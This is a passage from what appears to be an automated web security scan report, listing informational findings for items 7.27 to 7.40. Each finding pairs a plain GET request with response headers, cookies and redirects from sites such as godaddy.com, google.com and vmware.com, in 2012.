P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Tue, 01 May 2012 00:12:53 GMT
Connection: close
Content-Length: 141786


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><link
...[SNIP]...
7.27. http://www.columbusnetworks.co/
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.columbusnetworks.co
Path:   /

Request 1

GET / HTTP/1.1
Host: www.columbusnetworks.co
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response 1

HTTP/1.1 200 OK
Date: Mon, 30 Apr 2012 22:17:45 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: fc=fcVal=7268218319222248492; domain=columbusnetworks.co; expires=Fri, 01-Jan-2038 07:00:00 GMT; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 50500


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <title>www.columbus
...[SNIP]...
7.28. http://www.godaddy.com/
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.godaddy.com
Path:   /

Request 1

GET /?isc=GPPT02J001&domain=columbusnetworks.co HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=1cxqnhoysllpo2ppktb3lnek; path=/; HttpOnly
Set-Cookie: SplitValue1=42; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:04 GMT; path=/
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=1cxqnhoysllpo2ppktb3lnek; path=/; HttpOnly
Set-Cookie: SplitValue1=42; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:04 GMT; path=/
Set-Cookie: preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; domain=godaddy.com; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: MemBotChk=false; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:04 GMT; path=/
Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:04 GMT; path=/
Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:04 GMT; path=/
Set-Cookie: pixeldata1=GPPT02J001=mdmffayewetebjjjtdqbjgqfycpiqavapgxhrifapbffhgvdafzeodmihjtdwbmjcizaehvaobicpcfdgiadeakgxhxbvjmf; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/&server=M1PWCORPWEB156&status=200 OK&querystring=isc=GPPT02J001&domain=columbusnetworks.co&shopper=&privatelabelid=1&isc=GPPT02J001&clientip=174.36.218.2&referringpath=&referringdomain=columbusnetworks.co&split=42; domain=godaddy.com; path=/
Set-Cookie: HPBackground=hp_bkg_rotation1; path=/
Set-Cookie: HPBackground=hp_bkg_rotation1; path=/
Set-Cookie: PCSplitValue1=1; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:04 GMT; path=/
Date: Tue, 01 May 2012 00:12:04 GMT
Connection: close
Content-Length: 101911


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><ti
...[SNIP]...
7.29. http://www.godaddy.com/agreements/ShowDoc.aspx
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.godaddy.com
Path:   /agreements/ShowDoc.aspx

Request 1

GET /agreements/ShowDoc.aspx HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=deltzy3lekvheasnss1q204b; path=/; HttpOnly
Set-Cookie: SplitValue1=18; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:14 GMT; path=/
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=deltzy3lekvheasnss1q204b; path=/; HttpOnly
Set-Cookie: SplitValue1=18; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:14 GMT; path=/
Set-Cookie: preferences1=_sid=&dataCenterCode=US; domain=godaddy.com; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/agreements/ShowDoc.aspx&server=M1PWCORPWEB156&status=200 OK&querystring=&shopper=&privatelabelid=1&isc=&clientip=174.36.218.2&referringpath=&referringdomain=&split=18; domain=godaddy.com; path=/
Date: Tue, 01 May 2012 00:12:14 GMT
Connection: close
Content-Length: 11306


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><ti
...[SNIP]...
7.30. http://www.godaddy.com/domains/search.aspx
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.godaddy.com
Path:   /domains/search.aspx

Request 1

GET /domains/search.aspx?isc=gppt02J006&domain=columbusnetworks.co HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=f1ubq15sbz5d3ome42yjv0c2; path=/; HttpOnly
Set-Cookie: SplitValue1=94; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:06 GMT; path=/
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=f1ubq15sbz5d3ome42yjv0c2; path=/; HttpOnly
Set-Cookie: SplitValue1=94; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:06 GMT; path=/
Set-Cookie: preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; domain=godaddy.com; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:06 GMT; path=/
Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:06 GMT; path=/
Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:06 GMT; path=/
Set-Cookie: pixeldata1=gppt02J006=aincqenbufiawefhuelaufucjerhgazcpgxhrifapbffhgvdafzeodmihjtdwbmjyfyahjegqimaxejhsfabofsbmjpfhesb; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/domains/search.aspx&server=M1PWCORPWEB156&status=200 OK&querystring=isc=gppt02J006&domain=columbusnetworks.co&shopper=&privatelabelid=1&isc=gppt02J006&clientip=174.36.218.2&referringpath=&referringdomain=columbusnetworks.co&split=94; domain=godaddy.com; path=/
Set-Cookie: MemBotChk=false; path=/
Set-Cookie: PCSplitValue1=2; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:06 GMT; path=/
Set-Cookie: GoogleADServicesgoogleadwordssearch=bcxbfgigqjfgabjdmceirgojsaoedbeb; domain=godaddy.com; expires=Sun, 01-May-2022 00:12:06 GMT; path=/
Set-Cookie: BlueLithium_domainsearch=bcxbfgigqjfgabjdmceirgojsaoedbeb; domain=godaddy.com; path=/
Date: Tue, 01 May 2012 00:12:06 GMT
Connection: close
Content-Length: 164022


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><ti
...[SNIP]...
7.31. http://www.godaddy.com/ecommerce/shopping-cart.aspx
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.godaddy.com
Path:   /ecommerce/shopping-cart.aspx

Request 1

GET /ecommerce/shopping-cart.aspx?isc=gppt02J051&domain=columbusnetworks.co HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=f4nyl5y5a3nce1ohtsxhid5j; path=/; HttpOnly
Set-Cookie: SplitValue1=76; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:13 GMT; path=/
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=f4nyl5y5a3nce1ohtsxhid5j; path=/; HttpOnly
Set-Cookie: SplitValue1=76; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:13 GMT; path=/
Set-Cookie: preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; domain=godaddy.com; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:13 GMT; path=/
Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:13 GMT; path=/
Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:13 GMT; path=/
Set-Cookie: pixeldata1=gppt02J051=acrctjqamerebckicemamdlbvildbbdfpgxhrifapbffhgvdafzeodmihjtdwbmjqgncwhxjaeacybpcmfuehafetbmhleoj; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/ecommerce/shopping-cart.aspx&server=M1PWCORPWEB156&status=200 OK&querystring=isc=gppt02J051&domain=columbusnetworks.co&shopper=&privatelabelid=1&isc=gppt02J051&clientip=174.36.218.2&referringpath=&referringdomain=columbusnetworks.co&split=76; domain=godaddy.com; path=/
Set-Cookie: MemBotChk=false; path=/
Set-Cookie: PCSplitValue1=3; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:13 GMT; path=/
Date: Tue, 01 May 2012 00:12:13 GMT
Connection: close
Content-Length: 147668


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><ti
...[SNIP]...
7.32. http://www.godaddy.com/email/email-hosting.aspx
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.godaddy.com
Path:   /email/email-hosting.aspx

Request 1

GET /email/email-hosting.aspx?isc=gppt02J017&domain=columbusnetworks.co HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=rx3ktl2do25cws55cdnzru0q; path=/; HttpOnly
Set-Cookie: SplitValue1=39; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:11 GMT; path=/
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=rx3ktl2do25cws55cdnzru0q; path=/; HttpOnly
Set-Cookie: SplitValue1=39; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:11 GMT; path=/
Set-Cookie: preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; domain=godaddy.com; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:11 GMT; path=/
Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:11 GMT; path=/
Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:11 GMT; path=/
Set-Cookie: pixeldata1=gppt02J017=egnbbbuisezctfphygpaugpdjavdfjqjpgxhrifapbffhgvdafzeodmihjtdwbmjqhycybahqesavdehkcpjwjqeteraxelf; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/email/email-hosting.aspx&server=M1PWCORPWEB156&status=200 OK&querystring=isc=gppt02J017&domain=columbusnetworks.co&shopper=&privatelabelid=1&isc=gppt02J017&clientip=174.36.218.2&referringpath=&referringdomain=columbusnetworks.co&split=39; domain=godaddy.com; path=/
Set-Cookie: MemBotChk=false; path=/
Set-Cookie: PCSplitValue1=2; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:11 GMT; path=/
Date: Tue, 01 May 2012 00:12:11 GMT
Connection: close
Content-Length: 131410


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><ti
...[SNIP]...
7.33. http://www.godaddy.com/hosting/website-builder.aspx
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.godaddy.com
Path:   /hosting/website-builder.aspx

Request 1

GET /hosting/website-builder.aspx?isc=gppt02J011&domain=columbusnetworks.co HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=j1rupsd42dbmw52pvffkndr2; path=/; HttpOnly
Set-Cookie: SplitValue1=90; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:07 GMT; path=/
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=j1rupsd42dbmw52pvffkndr2; path=/; HttpOnly
Set-Cookie: SplitValue1=90; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:07 GMT; path=/
Set-Cookie: preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; domain=godaddy.com; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:07 GMT; path=/
Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:07 GMT; path=/
Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:07 GMT; path=/
Set-Cookie: pixeldata1=gppt02J011=dcshkalecbbjbfhjnegggciboarbxdugpgxhrifapbffhgvdafzeodmihjtdwbmjhahcrbyifhlcfifescvjrbwfoakhdatc; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/hosting/website-builder.aspx&server=M1PWCORPWEB156&status=200 OK&querystring=isc=gppt02J011&domain=columbusnetworks.co&shopper=&privatelabelid=1&isc=gppt02J011&clientip=174.36.218.2&referringpath=&referringdomain=columbusnetworks.co&split=90; domain=godaddy.com; path=/
Set-Cookie: MemBotChk=false; path=/
Set-Cookie: PCSplitValue1=3; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:07 GMT; path=/
Date: Tue, 01 May 2012 00:12:07 GMT
Connection: close
Content-Length: 130669


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><ti
...[SNIP]...
7.34. http://www.godaddy.com/ssl/ssl-certificates.aspx
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.godaddy.com
Path:   /ssl/ssl-certificates.aspx

Request 1

GET /ssl/ssl-certificates.aspx?isc=gppt02J016&domain=columbusnetworks.co HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=jbnocck3tflil20sf35hue2j; path=/; HttpOnly
Set-Cookie: SplitValue1=68; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:10 GMT; path=/
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=jbnocck3tflil20sf35hue2j; path=/; HttpOnly
Set-Cookie: SplitValue1=68; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:10 GMT; path=/
Set-Cookie: preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; domain=godaddy.com; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:10 GMT; path=/
Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:10 GMT; path=/
Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:10 GMT; path=/
Set-Cookie: pixeldata1=gppt02J016=sduiwhhjfgwhdethihnjmdkhubxelbwipgxhrifapbffhgvdafzeodmihjtdwbmjyaqflhgjwjxfrhujkexhncxhydvjibmf; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/ssl/ssl-certificates.aspx&server=M1PWCORPWEB156&status=200 OK&querystring=isc=gppt02J016&domain=columbusnetworks.co&shopper=&privatelabelid=1&isc=gppt02J016&clientip=174.36.218.2&referringpath=&referringdomain=columbusnetworks.co&split=68; domain=godaddy.com; path=/
Set-Cookie: MemBotChk=false; path=/
Set-Cookie: PCSplitValue1=3; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:10 GMT; path=/
Set-Cookie: BlueLithium_ssl=lcohlaucjanfufifdjajqimjkjpgablf; domain=godaddy.com; path=/
Date: Tue, 01 May 2012 00:12:10 GMT
Connection: close
Content-Length: 134048


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><ti
...[SNIP]...
7.35. http://www.godaddy.com/tlds/co-domain.aspx
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.godaddy.com
Path:   /tlds/co-domain.aspx

Request 1

GET /tlds/co-domain.aspx?isc=gppt02J036&domain=columbusnetworks.co HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=lymp42bawaf15kxi2tpenw2r; path=/; HttpOnly
Set-Cookie: SplitValue1=9; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:14 GMT; path=/
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=lymp42bawaf15kxi2tpenw2r; path=/; HttpOnly
Set-Cookie: SplitValue1=9; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:14 GMT; path=/
Set-Cookie: preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; domain=godaddy.com; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:14 GMT; path=/
Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:14 GMT; path=/
Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Wed, 01-May-2013 00:12:14 GMT; path=/
Set-Cookie: pixeldata1=gppt02J036=abqhkcwhkgxbncwbyhzddbzbegtghizepgxhrifapbffhgvdafzeodmihjtdwbmjtcvgvinhqimeicpchfycmdkamcoepgxg; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/tlds/co-domain.aspx&server=M1PWCORPWEB156&status=200 OK&querystring=isc=gppt02J036&domain=columbusnetworks.co&shopper=&privatelabelid=1&isc=gppt02J036&clientip=174.36.218.2&referringpath=&referringdomain=columbusnetworks.co&split=9; domain=godaddy.com; path=/
Set-Cookie: MemBotChk=false; path=/
Set-Cookie: PCSplitValue1=3; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:14 GMT; path=/
Date: Tue, 01 May 2012 00:12:14 GMT
Connection: close
Content-Length: 121665


<!DOCTYPE html>
<html>
<head id="ctl00_Head1"><link rel="Stylesheet" type="text/css" href="http://img2.wsimg.com/shared/css/1/styles_20120113.min.css" /><title>
   .CO Domain Names | Register y
...[SNIP]...
7.36. https://www.godaddy.com/domains/popups/icannfee.aspx
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.godaddy.com
Path:   /domains/popups/icannfee.aspx

Request 1

GET /domains/popups/icannfee.aspx HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=myamchgeggvlsau0rw1sios3; path=/; HttpOnly
Set-Cookie: SplitValue1=94; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:01 GMT; path=/
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=myamchgeggvlsau0rw1sios3; path=/; HttpOnly
Set-Cookie: SplitValue1=94; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:01 GMT; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/domains/popups/icannfee.aspx&server=M1PWCORPWEB156&status=200 OK&querystring=&shopper=&privatelabelid=1&isc=&clientip=174.36.218.2&referringpath=&referringdomain=&split=94; domain=godaddy.com; path=/
Set-Cookie: preferences1=_sid=; domain=godaddy.com; path=/
Date: Tue, 01 May 2012 00:12:01 GMT
Connection: close
Content-Length: 2073


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><link r
...[SNIP]...
7.37. https://www.godaddy.com/gdshop/registrar/search.asp
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.godaddy.com
Path:   /gdshop/registrar/search.asp

Request 1

GET /gdshop/registrar/search.asp HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache
Content-Length: 0
Content-Type: text/html; Charset=utf-8
Expires: Tue, 24 Apr 2012 01:32:00 GMT
Location: https://www.godaddy.com/domains/search.aspx
Server: Microsoft-IIS/7.5
Set-Cookie: currency1=potableSourceStr=USD; expires=Tue, 30-Apr-2013 07:00:00 GMT; domain=.godaddy.com; path=/
Set-Cookie: adc1=US; expires=Mon, 07-May-2012 07:00:00 GMT; domain=.godaddy.com; path=/
Set-Cookie: serverVersion=A; domain=.godaddy.com; path=/
Set-Cookie: domainYardVal=%2D1; domain=.godaddy.com; path=/
Set-Cookie: ASPSESSIONIDSUDRDABD=NBMPNOICFLHJPJMKNPLCGADA; secure; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Tue, 01 May 2012 00:12:00 GMT
Connection: close

7.38. http://www.google.com/search
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.google.com
Path:   /search

Request 1

GET /search HTTP/1.1
Host: www.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Found
Location: http://www.google.com/webhp
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=3c1867706b1b9dcd:FF=0:TM=1335831168:LM=1335831168:S=eX1aJRvsIqxWZDrF; expires=Thu, 01-May-2014 00:12:48 GMT; path=/; domain=.google.com
Date: Tue, 01 May 2012 00:12:48 GMT
Server: gws
Content-Length: 224
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Connection: close

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.google.com/webhp">her
...[SNIP]...
7.39. http://www.vmware.com/account/secure/productRegistration.do
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /account/secure/productRegistration.do

Request 1

GET /account/secure/productRegistration.do HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Moved Temporarily
Location: https://my.vmware.com/obrareq.cgi?wh%3Dportal-prod-webgate-4.vmware.com%20wu%3D%2Faccount%2Fsecure%2FproductRegistration.do%20wo%3D1%20rh%3Dhttp%3A%2F%2Fportal-prod-webgate-vip.vmware.com%20ru%3D%252Faccount%252Fsecure%252FproductRegistration.do
Content-Type: text/html; charset=iso-8859-1
Expires: Tue, 01 May 2012 03:53:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:53:02 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ObSSOCookie=loggedoutcontinue; path=/; domain=.vmware.com;
Set-Cookie: BIGipServerportal-prod-webgate-pool=1984721162.20480.0000; path=/
Set-Cookie: TSc99b3e=6bdc249eada5efc100db30401cbe6fbbabb1f043c06b19c14f9f5e1e; Path=/
Content-Length: 425

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF="https://my.vmware.com/obrareq.cgi?wh%3Dportal-prod
...[SNIP]...
7.40. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.yuiblog.com
Path:   /blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified

Request 1

GET /blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified HTTP/1.1
Host: www.yuiblog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:12:03 GMT
Set-Cookie: BX=1scu7a57puaij&b=3&s=q8; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yuiblog.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
X-Pingback: http://www.yuiblog.com/blog/xmlrpc.php
Link: <http://www.yuiblog.com/blog/?p=2632>; rel=shortlink
Content-Type: text/html; charset=UTF-8
Age: 2
Connection: close
Server: YTS/1.19.11

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

